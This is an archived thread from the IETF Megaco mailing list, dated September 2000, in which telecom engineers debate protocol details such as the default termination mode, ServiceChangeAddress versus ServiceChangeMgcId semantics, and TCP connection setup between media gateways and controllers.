          <0.FFB90213@standards.nortelnetworks.com>; Tue, 5 Sep 2000 12:43:49
          -0400
Received: from mailman.pit.comms.marconi.com (mailman.pit.comms.marconi.com
          [169.144.2.12]) by mailgate.pit.comms.marconi.com (8.9.3/8.9.3) with
          ESMTP id MAA10610 for <MEGACO@STANDARDS.NORTELNETWORKS.COM>; Tue, 5
          Sep 2000 12:56:47 -0400 (EDT)
Received: from whq-msgrtr-02.fore.com (whq-msgrtr-02.pit.comms.marconi.com
          [169.144.2.220]) by mailman.pit.comms.marconi.com (8.9.3/8.9.3) with
          ESMTP id MAA16826 for <MEGACO@STANDARDS.NORTELNETWORKS.COM>; Tue, 5
          Sep 2000 12:56:48 -0400 (EDT)
Received: by whq-msgrtr-02.pit.comms.marconi.com with Internet Mail Service
          (5.5.2650.21) id <R69XHNXL>; Tue, 5 Sep 2000 12:56:48 -0400
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: multipart/alternative;
              boundary="----_=_NextPart_001_01C01755.9950C400"
Message-ID:  <9523A991F7AED311A8B900508B6701F4378823@dl-msgusr-01.eu.fore.com>
Date:         Tue, 5 Sep 2000 12:23:17 -0400
Reply-To: "Mackey, Michael" <Michael.Mackey@MARCONI.COM>
Sender: "Media Gateway Control (megaco)"              <MEGACO@STANDARDS.NORTELNETWORKS.COM>
From: "Mackey, Michael" <Michael.Mackey@MARCONI.COM>
Subject:      Re: Is Media required on the Physical Termination/Default value f
              or M  ODE
X-To:         "Rosen, Brian" <Brian.Rosen@marconi.com>
To: MEGACO@STANDARDS.NORTELNETWORKS.COM

This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

------_=_NextPart_001_01C01755.9950C400
Content-Type: text/plain;
        charset="iso-8859-1"

I wonder if someone could help me out ... I have another issue with standard
SDP. If you are using Megaco in conjuction with H.323 you will probably want
an MGC to ask the MG to reserve resources after receiving a Terminal
Capability message. When specifing a remote descriptor you are currently
required either to give the remote MG's IP address or use the CHOOSE
character, but you don't receive the remote MGs IP address until later when
Open Logical Channel messages are exchanged and you're certainly not asking
it to choose the remote address. Is there a need for a not specified
character (such as '-' ) similar to whats being proposed for ATM ?


Michael Mackey,
Marconi Communications,
Tel: +353 1 6638407
- www.marconi.com <http://www.marconi.com/>  -

-----Original Message-----
From: Rosen, Brian
Sent: Tuesday, August 29, 2000 10:07 PM
To: MEGACO@STANDARDS.NORTELNETWORKS.COM
Subject: Re: Is Media required on the Physical Termination/Default value f
or M ODE


That's an acceptable default, which almost forces the MGC to set it to
something
else in order to get media to flow.

Brian

-----Original Message-----
From: Tom-PT Taylor [mailto:taylor@nortelnetworks.com]
Sent: Tuesday, August 29, 2000 4:57 PM
To: Rosen, Brian; megaco@standards.nortelnetworks.com
Subject: RE: Is Media required on the Physical Termination/Default value f
or M ODE



Sorry, Brian, the natural default is "inactive".  It does seem that we
failed to specify the defaults in 7.1.7, even though section 6.2.4 promises
that we would.

> -----Original Message-----
> From: Rosen, Brian [ mailto:Brian.Rosen@MARCONI.COM
<mailto:Brian.Rosen@MARCONI.COM> ]
> Sent: Tuesday, August 29, 2000 4:30 PM
> To: MEGACO@STANDARDS.NORTELNETWORKS.COM
> Subject: Re: Is Media required on the Physical
> Termination/Default value
> f or M ODE
>
>
> Okay, so what would you expect to happen if you audited media of
> the physical termination.  Even if there was no default, it should
> be one of the legal states.
>
> Now, suppose it's in an acceptable state, should you have to send
> a media descriptor?
>
> What the folks who implemented the MG requiring the media descriptor
> say is that "there is no mode, you haven't set it".  I can't deal
> with that, because audit has to return a value.  So it has to be
> something, and the MGC should be able to leave it, right?
>
> Now, I said I think MGCs should always send media!
>
> Brian
>
>
>
> > -----Original Message-----
> > From: Michael Thomas [ mailto:mat@cisco.com <mailto:mat@cisco.com> ]
> > Sent: Tuesday, August 29, 2000 4:25 PM
> > To: Rosen, Brian
> > Cc: MEGACO@STANDARDS.NORTELNETWORKS.COM
> > Subject: Is Media required on the Physical
> > Termination/Default value for
> > M ODE
> >
> >
> >
> > My general take has been that the MGC shouldn't
> > assume much about the MG. If it wants the MG to
> > do something, it should tell it. If it doesn't
> > know the MG's state, it should audit it.
> > Therefore, I think I disagree with the spec
> > requiring some set of semantics for underspecified
> > commands. What's the gain?
> >
> >               Mike
> >
> > Rosen, Brian writes:
> >  > Another issue from the event:
> >  >
> >  > Is it REQUIRED that the MGC send a media descriptor to a PHYSICAL
> >  > termination in order to get media to flow?
> >  >
> >  > There are two questions actually:
> >  > 1) Is there a default state of MODE (text is silent)
> >  > 2) Should the MG demand a media descriptor before allowing
> > media flow?
> >  >
> >  > I believe:
> >  > 1) The default for MODE is SendRecieve
> >  > 2) MGCs should always send a media descriptor, with at
> least a MODE
> >  > setting
> >  > 3) MGs should not depend on 2)
> >  >
> >  > Brian
> >  >
> >
>


------_=_NextPart_001_01C01755.9950C400
Content-Type: text/html;
        charset="iso-8859-1"

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=iso-8859-1">
<TITLE>RE: Is Media required on the Physical Termination/Default value f or M ODE</TITLE>

<META content="MSHTML 5.50.4134.600" name=GENERATOR></HEAD>
<BODY>
<DIV><SPAN class=160090416-05092000><FONT face=Arial size=2>I wonder if someone
could help me out ... I have another issue with standard SDP. If you are using
Megaco in conjuction with H.323 you will probably want an MGC to ask the MG to
reserve resources after receiving a Terminal Capability message. When specifing
a remote descriptor you are currently required either to give the remote MG's IP
address&nbsp;or use the CHOOSE character, but you don't receive the remote MGs
IP address until later when Open Logical Channel messages are exchanged and
you're certainly not asking it to choose the remote address. Is there a need for
a not specified character (such as '-' ) similar to whats being proposed for ATM
? </FONT></SPAN></DIV>
<DIV><SPAN class=160090416-05092000><FONT face=Arial
size=2></FONT></SPAN>&nbsp;</DIV>
<DIV><FONT face=Arial color=#0000ff size=2></FONT>&nbsp;</DIV>
<DIV><EM><STRONG><FONT face=Arial size=2>Michael
Mackey,</FONT></STRONG></EM></DIV>
<DIV><EM><STRONG><FONT face=Arial size=2>Marconi
Communications,</FONT></STRONG></EM></DIV>
<DIV><FONT face=Arial size=2><STRONG><EM>Tel: +353 1
6638407</EM></STRONG></FONT></DIV>
<DIV><FONT face=Arial size=2><STRONG><EM>- <A
href="http://www.marconi.com/">www.marconi.com</A> -</EM></STRONG></FONT></DIV>
<BLOCKQUOTE dir=ltr
style="PADDING-LEFT: 5px; MARGIN-LEFT: 5px; BORDER-LEFT: #0000ff 2px solid; MARGIN-RIGHT: 0px">
  <DIV class=OutlookMessageHeader dir=ltr align=left><FONT face=Tahoma
  size=2>-----Original Message-----<BR><B>From:</B> Rosen, Brian
  <BR><B>Sent:</B> Tuesday, August 29, 2000 10:07 PM<BR><B>To:</B>
  MEGACO@STANDARDS.NORTELNETWORKS.COM<BR><B>Subject:</B> Re: Is Media required
  on the Physical Termination/Default value f or M ODE<BR><BR></FONT></DIV>
  <DIV><FONT face=Arial color=#0000ff size=2><SPAN
  class=550010521-29082000>That's an acceptable default, which almost forces the
  MGC to set it to something</SPAN></FONT></DIV>
  <DIV><FONT face=Arial color=#0000ff size=2><SPAN class=550010521-29082000>else
  in order to get media to flow.</SPAN></FONT></DIV>
  <DIV><FONT face=Arial color=#0000ff size=2><SPAN
  class=550010521-29082000></SPAN></FONT>&nbsp;</DIV>
  <DIV><FONT face=Arial color=#0000ff size=2><SPAN
  class=550010521-29082000>Brian</SPAN></FONT></DIV>
  <BLOCKQUOTE
  style="PADDING-LEFT: 5px; MARGIN-LEFT: 5px; BORDER-LEFT: #0000ff 2px solid; MARGIN-RIGHT: 0px">
    <DIV class=OutlookMessageHeader dir=ltr align=left><FONT face=Tahoma
    size=2>-----Original Message-----<BR><B>From:</B> Tom-PT Taylor
    [mailto:taylor@nortelnetworks.com]<BR><B>Sent:</B> Tuesday, August 29, 2000
    4:57 PM<BR><B>To:</B> Rosen, Brian;
    megaco@standards.nortelnetworks.com<BR><B>Subject:</B> RE: Is Media required
    on the Physical Termination/Default value f or M ODE<BR><BR></DIV></FONT>
    <P><FONT size=2>Sorry, Brian, the natural default is "inactive".&nbsp; It
    does seem that we failed to specify the defaults in 7.1.7, even though
    section 6.2.4 promises that we would.</FONT></P>
    <P><FONT size=2>&gt; -----Original Message-----</FONT> <BR><FONT size=2>&gt;
    From: Rosen, Brian [<A
    href="mailto:Brian.Rosen@MARCONI.COM">mailto:Brian.Rosen@MARCONI.COM</A>]</FONT>
    <BR><FONT size=2>&gt; Sent: Tuesday, August 29, 2000 4:30 PM</FONT>
    <BR><FONT size=2>&gt; To: MEGACO@STANDARDS.NORTELNETWORKS.COM</FONT>
    <BR><FONT size=2>&gt; Subject: Re: Is Media required on the Physical
    </FONT><BR><FONT size=2>&gt; Termination/Default value</FONT> <BR><FONT
    size=2>&gt; f or M ODE</FONT> <BR><FONT size=2>&gt; </FONT><BR><FONT
    size=2>&gt; </FONT><BR><FONT size=2>&gt; Okay, so what would you expect to
    happen if you audited media of</FONT> <BR><FONT size=2>&gt; the physical
    termination.&nbsp; Even if there was no default, it should</FONT> <BR><FONT
    size=2>&gt; be one of the legal states.</FONT> <BR><FONT size=2>&gt;
    </FONT><BR><FONT size=2>&gt; Now, suppose it's in an acceptable state,
    should you have to send</FONT> <BR><FONT size=2>&gt; a media
    descriptor?</FONT> <BR><FONT size=2>&gt; </FONT><BR><FONT size=2>&gt; What
    the folks who implemented the MG requiring the media descriptor</FONT>
    <BR><FONT size=2>&gt; say is that "there is no mode, you haven't set
    it".&nbsp; I can't deal</FONT> <BR><FONT size=2>&gt; with that, because
    audit has to return a value.&nbsp; So it has to be</FONT> <BR><FONT
    size=2>&gt; something, and the MGC should be able to leave it, right?</FONT>
    <BR><FONT size=2>&gt; </FONT><BR><FONT size=2>&gt; Now, I said I think MGCs
    should always send media!</FONT> <BR><FONT size=2>&gt; </FONT><BR><FONT
    size=2>&gt; Brian</FONT> <BR><FONT size=2>&gt; </FONT><BR><FONT size=2>&gt;
    </FONT><BR><FONT size=2>&gt; </FONT><BR><FONT size=2>&gt; &gt; -----Original
    Message-----</FONT> <BR><FONT size=2>&gt; &gt; From: Michael Thomas [<A
    href="mailto:mat@cisco.com">mailto:mat@cisco.com</A>]</FONT> <BR><FONT
    size=2>&gt; &gt; Sent: Tuesday, August 29, 2000 4:25 PM</FONT> <BR><FONT
    size=2>&gt; &gt; To: Rosen, Brian</FONT> <BR><FONT size=2>&gt; &gt; Cc:
    MEGACO@STANDARDS.NORTELNETWORKS.COM</FONT> <BR><FONT size=2>&gt; &gt;
    Subject: Is Media required on the Physical</FONT> <BR><FONT size=2>&gt; &gt;
    Termination/Default value for</FONT> <BR><FONT size=2>&gt; &gt; M ODE</FONT>
    <BR><FONT size=2>&gt; &gt;</FONT> <BR><FONT size=2>&gt; &gt;</FONT>
    <BR><FONT size=2>&gt; &gt;</FONT> <BR><FONT size=2>&gt; &gt; My general take
    has been that the MGC shouldn't</FONT> <BR><FONT size=2>&gt; &gt; assume
    much about the MG. If it wants the MG to</FONT> <BR><FONT size=2>&gt; &gt;
    do something, it should tell it. If it doesn't</FONT> <BR><FONT size=2>&gt;
    &gt; know the MG's state, it should audit it.</FONT> <BR><FONT size=2>&gt;
    &gt; Therefore, I think I disagree with the spec</FONT> <BR><FONT
    size=2>&gt; &gt; requiring some set of semantics for underspecified</FONT>
    <BR><FONT size=2>&gt; &gt; commands. What's the gain?</FONT> <BR><FONT
    size=2>&gt; &gt;</FONT> <BR><FONT size=2>&gt;
    &gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
    Mike</FONT> <BR><FONT size=2>&gt; &gt;</FONT> <BR><FONT size=2>&gt; &gt;
    Rosen, Brian writes:</FONT> <BR><FONT size=2>&gt; &gt;&nbsp; &gt; Another
    issue from the event:</FONT> <BR><FONT size=2>&gt; &gt;&nbsp; &gt;</FONT>
    <BR><FONT size=2>&gt; &gt;&nbsp; &gt; Is it REQUIRED that the MGC send a
    media descriptor to a PHYSICAL</FONT> <BR><FONT size=2>&gt; &gt;&nbsp; &gt;
    termination in order to get media to flow?</FONT> <BR><FONT size=2>&gt;
    &gt;&nbsp; &gt;</FONT> <BR><FONT size=2>&gt; &gt;&nbsp; &gt; There are two
    questions actually:</FONT> <BR><FONT size=2>&gt; &gt;&nbsp; &gt; 1) Is there
    a default state of MODE (text is silent)</FONT> <BR><FONT size=2>&gt;
    &gt;&nbsp; &gt; 2) Should the MG demand a media descriptor before
    allowing</FONT> <BR><FONT size=2>&gt; &gt; media flow?</FONT> <BR><FONT
    size=2>&gt; &gt;&nbsp; &gt;</FONT> <BR><FONT size=2>&gt; &gt;&nbsp; &gt; I
    believe:</FONT> <BR><FONT size=2>&gt; &gt;&nbsp; &gt; 1) The default for
    MODE is SendRecieve</FONT> <BR><FONT size=2>&gt; &gt;&nbsp; &gt; 2) MGCs
    should always send a media descriptor, with at </FONT><BR><FONT size=2>&gt;
    least a MODE</FONT> <BR><FONT size=2>&gt; &gt;&nbsp; &gt; setting</FONT>
    <BR><FONT size=2>&gt; &gt;&nbsp; &gt; 3) MGs should not depend on 2)</FONT>
    <BR><FONT size=2>&gt; &gt;&nbsp; &gt;</FONT> <BR><FONT size=2>&gt;
    &gt;&nbsp; &gt; Brian</FONT> <BR><FONT size=2>&gt; &gt;&nbsp; &gt;</FONT>
    <BR><FONT size=2>&gt; &gt;</FONT> <BR><FONT size=2>&gt;
  </FONT></P></BLOCKQUOTE></BLOCKQUOTE></BODY></HTML>

------_=_NextPart_001_01C01755.9950C400--


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Tue Sep  5 13:29:01 2000
Received: from standards.nortelnetworks.com (h16s32a234n47.user.nortelnetworks.com [47.234.32.16])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id NAA09394
	for <megaco-archive@LISTS.IETF.ORG>; Tue, 5 Sep 2000 13:29:00 -0400 (EDT)
Received: from standards (47.234.32.16:1788) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP id <0.FFB90254@standards.nortelnetworks.com>; Tue, 5 Sep 2000 13:15:27 -0400
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 17133 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Tue, 5 Sep 2000 13:15:26 -0400
Received: from turin.trillium.com by standards.nortelnetworks.com (LSMTP for
          Windows NT v1.1b) with SMTP id
          <0.FFB90253@standards.nortelnetworks.com>; Tue, 5 Sep 2000 13:15:26
          -0400
Received: from aiglos.trillium.com (smtp.trillium.com [192.168.3.20]) by
          turin.trillium.com (8.11.0/8.11.0) with ESMTP id e85HWlH18379; Tue, 5
          Sep 2000 10:32:47 -0700 (PDT)
Received: from gaea.trillium.com (gaea.trillium.com [192.168.1.11]) by
          aiglos.trillium.com (8.9.3/8.9.3) with ESMTP id KAA27200; Tue, 5 Sep
          2000 10:28:13 -0700 (PDT)
Received: by gaea.trillium.com with Internet Mail Service (5.5.2650.21) id
          <QXSCDCVC>; Tue, 5 Sep 2000 10:23:22 -0700
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: text/plain; charset="iso-8859-1"
Message-ID:  <0E7AA454E229D411A1CB0090274661FF19F9D6@gaea.trillium.com>
Date:         Tue, 5 Sep 2000 10:23:21 -0700
Reply-To: Mukesh Goel <mukesh@TRILLIUM.COM>
Sender: "Media Gateway Control (megaco)"              <MEGACO@STANDARDS.NORTELNETWORKS.COM>
From: Mukesh Goel <mukesh@TRILLIUM.COM>
Subject:      Re: Addressing For Control
X-To:         Tom-PT Taylor <taylor@NORTELNETWORKS.COM>
To: MEGACO@STANDARDS.NORTELNETWORKS.COM

Hi Tom, List,

Please find my comments below.

Regards,
Mukesh Goel

>-----Original Message-----
>From: Tom-PT Taylor [mailto:taylor@NORTELNETWORKS.COM]
>Sent: Monday, September 04, 2000 5:52 PM
>To: MEGACO@STANDARDS.NORTELNETWORKS.COM
>Subject: Re: Addressing For Control
>> MG-Originated ServiceChange
>> ===========================
>>
>>
>> 4. If the MG issues a ServiceChange on ROOT, the
>> ServiceChangeAddress MAY be
>> present in the request.  If so, it provides the address to
>> which the MGC is
>> meant to send all requests that it issues within the current control
>> session.  Where TCP is in use, this means the following
>> sequence will occur:
>>
>>    (a) MG sends ServiceChange from TCP addr:port A, containing
>> ServiceChangeAddress equal to addr:port B (understood to be
>> TCP because the
>> original contact was via TCP).
>>
>>    (b) MGC sends its response on the TCP connection to addr:port A.
>>
>>    (c) MGC opens up a TCP connection to addr:port B and sends
>> all subsequent
>> requests through that connection.  The MG returns its
>> responses to the MGC's
>> requests through the same connection.
>>
>> [[[[ BHARAT  ]]]]]]
>>
>> I don't think (c) should be an option. First because of security
>> arrangements, secondly because MGs already have a capability
>> of initiating
>> connections and let them keep on
>> doing so. This need not be part of MGCs. Also, I can't see
>> why MG would want
>> to specify
>> a ServiceChange Address for TCP. It might as well initiate
>> the connection
>> using that source transport address where it wants to
>> communicate. I am
>> inclined towards not having (c) as an option for TCP.(c)
>> however is a valid
>> option for UDP.
>[PTT] (a), (b), and (c) are not alternatives -- they must all
>happen IF the
>MG sends a ServiceChangeAddress on a TCP connection.  If one
>doesn't want to
>support that sort of behaviour then one's MG should be designed not to
>initiate it.  I suppose that as a stack provider you may find
>yourself in an
>awkward position on this, but you'll have to work it out with your
>customers.

[MUKESH]
The MGC initiated TCP connection issue has been discussed on the list
quite a few times and always the conclusion was that MG does not maintain
TCP servers (only MGC does), so the responsibility to initiate a connection
setup is of MG.

Are we allowing MGC to setup a TCP connection towards MG?

I think we need to come up with explanation of what is our stand w.r.t
TCP as a transport. A "text" regarding this in an implementation guide would
help.


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Tue Sep  5 14:29:46 2000
Received: from standards.nortelnetworks.com (h16s32a234n47.user.nortelnetworks.com [47.234.32.16])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id OAA10817
	for <megaco-archive@LISTS.IETF.ORG>; Tue, 5 Sep 2000 14:29:45 -0400 (EDT)
Received: from standards (47.234.32.16:1788) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP id <0.FFB90296@standards.nortelnetworks.com>; Tue, 5 Sep 2000 14:16:09 -0400
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 17212 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Tue, 5 Sep 2000 14:16:09 -0400
Received: from qhars002.nortel.com (47.101.112.102:53323) by
          standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP
          id <0.FFB90295@standards.nortelnetworks.com>; Tue, 5 Sep 2000
          14:16:08 -0400
Received: from ertpg14e1.nortelnetworks.com (actually zrtph06m) by
          qhars002.nortel.com; Tue, 5 Sep 2000 19:28:57 +0100
Received: from zrtpd004.us.nortel.com (actually zrtpd004) by
          ertpg14e1.nortelnetworks.com; Tue, 5 Sep 2000 14:28:28 -0400
Received: by zrtpd004.us.nortel.com with Internet Mail Service (5.5.2652.35) id
          <RPW7CRYK>; Tue, 5 Sep 2000 14:27:58 -0400
X-Mailer: Internet Mail Service (5.5.2652.35)
Message-ID:  <28560036253BD41191A10000F8BCBD11480D08@zcard00g.ca.nortel.com>
Date:         Tue, 5 Sep 2000 14:26:47 -0400
Reply-To: Tom-PT Taylor <taylor@NORTELNETWORKS.COM>
Sender: "Media Gateway Control (megaco)"              <MEGACO@STANDARDS.NORTELNETWORKS.COM>
From: Tom-PT Taylor <taylor@NORTELNETWORKS.COM>
Subject:      Re: Addressing For Control
X-To:         Shalini Philip <sphilip@GLOBESPAN.NET>
To: MEGACO@STANDARDS.NORTELNETWORKS.COM

Comments below.

> -----Original Message-----
> From: Shalini Philip [mailto:sphilip@GLOBESPAN.NET]
> Sent: Tuesday, September 05, 2000 4:08 AM
> To: MEGACO@STANDARDS.NORTELNETWORKS.COM
> Subject: Re: Addressing For Control
>
>
> Hello Tom, list,
>
>     Please find my comments to point 9 below.
>
> >
> > > MGC-Originated ServiceChange Request
> > > ====================================
> > >
> > > 9. The MGC may originate a ServiceChange request containing
> > > ServiceChangeAddress.  This requires the MG to take the
> > > following actions:
> > >
> > >     (a) as above
> > >
> > >     (b) send all subsequent requests to the indicated
> > > ServiceChangeAddress
> > >
> > >     (c) if retransmitting outstanding requests to the MGC,
> > > use the same
> > > address that the original request went to.
> > >
> > > It seems reasonable to require that in this case the
> > > ServiceChangeMethod (if
> > > any) should be restricted to GRACEFUL or FORCED.
> > >
> > > [[[[[ BHARAT ]]]]]]
> > >
> > > I am not sure I understand what MGC is trying to tell MG
> > > while using these
> > > methods. Specifying ServiceChangeAddress after things are up
> > > and running
> > > (i.e. registration has
> > > completed long back) might be tricky with TCP as transport.
> > > It would be
> > > interesting to see what people have to say on this. Till now,
> > > I thought only
> > > "handoff" is the allowed method from MGC to MG.
> > >
> > [PTT] I invite further comments.
> >
>
> In case of TCP and UDP, if after successful registration, the
> MGC wants to
> change the port on which
> communication happens with MG, it can always send a Service
> Change command
> Request with service
> change method as "Handoff" and a ServiceChangeMgcId as the
> new MgcId (with the
> new port information).

[PTT] I think we should agree that providing a ServiceChangeMgcId forces the
MG to initiate a new control session.  If the MGC just wants to change
addresses, it should provide ServiceChangeAddress instead.

>
> Another point that I would like to make is that even FORCED
> or GRACEFUL on ROOT
> can be possible service change methods from MGC -> MG,
> in case there is no backup MGCId to which handoff can happen.
> In such a
> situation, the MG should try registration with any
> other MGC in its provisioned list of primary and secondary MGCs.
>
[PTT] Agreed.
>
> --
> Regards,
>
> Shalini Philip
> Globespan Inc.
> E-Mail : mailto:sphilip@globespan.net
> Web    : http://www.globespan.net
>


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Tue Sep  5 14:40:56 2000
Received: from standards.nortelnetworks.com (h16s32a234n47.user.nortelnetworks.com [47.234.32.16])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id OAA10998
	for <megaco-archive@LISTS.IETF.ORG>; Tue, 5 Sep 2000 14:40:55 -0400 (EDT)
Received: from standards (47.234.32.16:1788) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP id <0.FFB902BC@standards.nortelnetworks.com>; Tue, 5 Sep 2000 14:26:37 -0400
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 17260 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Tue, 5 Sep 2000 14:26:36 -0400
Received: from turin.trillium.com by standards.nortelnetworks.com (LSMTP for
          Windows NT v1.1b) with SMTP id
          <0.FFB902BB@standards.nortelnetworks.com>; Tue, 5 Sep 2000 14:26:36
          -0400
Received: from aiglos.trillium.com (smtp.trillium.com [192.168.3.20]) by
          turin.trillium.com (8.11.0/8.11.0) with ESMTP id e85IhtH19477; Tue, 5
          Sep 2000 11:43:55 -0700 (PDT)
Received: from aega.trillium.com (aega.trillium.com [192.168.1.19]) by
          aiglos.trillium.com (8.9.3/8.9.3) with ESMTP id LAA28758; Tue, 5 Sep
          2000 11:39:22 -0700 (PDT)
Received: by aega.trillium.com with Internet Mail Service (5.5.2650.21) id
          <RT9L64SM>; Tue, 5 Sep 2000 11:31:38 -0700
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: text/plain; charset="iso-8859-1"
Message-ID:  <8BBD33A986C5D311804000902719FF5D9FB42F@aega.trillium.com>
Date:         Tue, 5 Sep 2000 11:31:29 -0700
Reply-To: Bharat Kaul <bharat@TRILLIUM.COM>
Sender: "Media Gateway Control (megaco)"              <MEGACO@STANDARDS.NORTELNETWORKS.COM>
From: Bharat Kaul <bharat@TRILLIUM.COM>
Subject:      Re: Supplying only a port on a ServiceChangeAddress
X-To:         Flemming Andreasen <fandreas@CISCO.COM>
To: MEGACO@STANDARDS.NORTELNETWORKS.COM

Hi Flemming, Brian and List,

  ServiceChangeMGCId should be kept for contacting a new MGC or rather
establishing new control Session.

ServiceChangeAddress is for redirection within a MGC e.g. MG contacts MGC at
a default port and based on some policy MGC wants to assign MG to a specific
port, it should send ServiceChangeAddress specifying the port.These two
semantics seem clear and fair enough.

Port in MID should be just a tool to identify an entity uniquely, with one
requirement that MID for a control session is consistent between two
entities.

- Bharat

-----Original Message-----
From: Flemming Andreasen [mailto:fandreas@CISCO.COM]
Sent: Tuesday, September 05, 2000 8:29 AM
To: MEGACO@STANDARDS.NORTELNETWORKS.COM
Subject: Re: Supplying only a port on a ServiceChangeAddress


Let's take a step back here and ask ourselves what we are trying to achieve:

1. We have a need to identify the entity we wish to communicate with
2. We have a need to communicate with that entity.

This is a classical naming issue that doesn't need to become overly
complicated. In order to get from the name in 1 to the address (or route) in
2, you need to perform name resolution in the cases where the name itself is
not an address. For domain names, this name resolution is achieved by DNS,
for IP-addresses, it should normally be a NOP. By having both
ServiceChangeMGGId and ServiceChangeAddress, you are effectively providing
an alternate name resolution mechanism which overrides DNS and allows one
IP-address to map to another. We should not be doing that, and I also note
that this was probably not the authors' intent, since ServiceChangeAddress
and ServiceChangeMGCId are not both allowed in a single command.

That still leaves open the question of exactly what ServiceChangeAddress
then is, and I believe Brian answered that earlier with his two proposals.
In a perfect world, I would prefer getting rid of ServiceChangeAddress, but
we may be beyond that. Does it make sense to allow just a port number then ?
Considering that we already allow for port in mId, port is part of the name
and for the same reasons as we shouldn't map one IP-address to another, we
shouldn't map one port to another either IMO. If the MGC (or MG) wants the
other party to talk to it on another port, it simply sends back another
ServiceChangeMGCId with that port number in it.

-- Flemming



"Rosen, Brian" wrote:

> It depends on what you want to have happen.
>
> If you want the MG, on receipt of a reply with a ServiceChangeAddress,
> to tear down it's current transport connection, create a new one,
> and stand by for messages from the MGC, then I suppose you would be
> correct.
>
> If it was TCP (and I guess SCTP), this is pretty weird, because the
> MG established a full duplex connection, but the next message is
> almost certainly from the MGC.  The MGC is going to have to watch for
> this carefully, and not send messages until the new channel is up.
>
> Or, the MGC can just use ServiceChangeMid.  The MG will respond by
> tearing down the transport, establishing a new one, and sending
> a new ServiceChange.  The MGC "fires and forgets" -- the new
> ServiceChange, at the "new" address, looks like a complete new start.
>
> Brian
>
> -----Original Message-----
> From: Christian Groves
> To: MEGACO@STANDARDS.NORTELNETWORKS.COM
> Sent: 9/3/00 7:38 PM
> Subject: Re: Supplying only a port on a ServiceChangeAddress
>
> G'Day Brian and Flemming,
>
> I saw that the difference between when you use ServiceChangeAddress and
> ServiceChangeMid was that the ServiceChangeAddress was used when talking
> to an already contacted physical MGC. The ServiceChangeMid was used to
> contact a physically seperate MGC. So I don't see the need of
> disallowing anything but the port in IP as the MGC may have a range of
> addresses.
>
> Cheers, Christian
>
> "Rosen, Brian" wrote:
> >
> > I thought you might say that, I've been thinking about it
> > since I sent the message.
> >
> > Posing the question slightly differently, if the ServiceChangeAddress
> > can do what ServiceChangeMid can do, so why have two mechanisms?
> > The only difference would be the MGs actions.  If you used
> > ServiceChangeAddress,
> > the MG would not send a new ServiceChange command to the new address.
> > If you used ServiceChangeMid, it would.  The end result would be the
> same.
> >
> > We can:
> >         Explicitly disallow ServiceChangeAddress from being used to
> >                 change anything but IP Port when used with IP
> >         Get rid of one of the two of them
> >
> > I favor the former, as that is easiest, is most consistent with
> > history, and makes the most sense to me.  I'll note that what
> > we call ServiceChangeAddress used to be "port".  It got
> > changed when we realized "port" wouldn't make sense if it was
> > not an IP transport.
> >
> > Brian
> >
> > > -----Original Message-----
> > > From: Flemming Andreasen [mailto:fandreas@cisco.com]
> > > Sent: Tuesday, August 29, 2000 7:37 PM
> > > To: Rosen, Brian
> > > Cc: MEGACO@STANDARDS.NORTELNETWORKS.COM
> > > Subject: Re: Supplying only a port on a ServiceChangeAddress
> > >
> > >
> > >
> > >
> > > "Rosen, Brian" wrote:
> > >
> > > > I think the issue is that you can have the same MGC have multiple
> > > > IP addresses.  You accept the association, but change the address.
> > > > Say, a pool of servers appearing to be one MGC.
> > >
> > > I'm not sure I fully understand what an association is then.
> > > What's the
> > > difference/relationship between the association address and the
> > > ServiceChangeMgcId (which may itself contain an address or
> indirectly
> > > refer to a number of addresses through DNS) ?
> > >
> > > -- Flemming
> > >
> > >
> > > >
> > > >
> > > > Brian
> > > >
> > > > > -----Original Message-----
> > > > > From: Flemming Andreasen [mailto:fandreas@cisco.com]
> > > > > Sent: Tuesday, August 29, 2000 6:38 PM
> > > > > To: Rosen, Brian
> > > > > Cc: MEGACO@STANDARDS.NORTELNETWORKS.COM
> > > > > Subject: Re: Supplying only a port on a ServiceChangeAddress
> > > > >
> > > > >
> > > > >
> > > > >
> > > > > "Rosen, Brian" wrote:
> > > > >
> > > > > > Suppose all you want to specify in a ServiceChangeAddress
> > > > > is a port number
> > > > > > that is, the IP address doesn't change, but the port does.
> > > > > >
> > > > > > The ABNF sez:
> > > > > > serviceChangeAddress = ServiceChangeAddressToken EQUAL VALUE
> > > > > >
> > > > > > This is because it could be IP, ATM, FR, MPLS....
> > > > > >
> > > > > > The example shows just a port number.
> > > > >
> > > > > Actually, I thought that's all that would be allowed in the
> > > > > case of IP. If
> > > > > not, how can it be within the "context of the association
> > > > > currently being
> > > > > negotiated", and how would it then relate to ServiceChangeMgcId
> ?
> > > > >
> > > > > -- Flemming
> > > > >
> > > > > >
> > > > > >
> > > > > > Should that be legal?  Should you have to specify the IP
> address
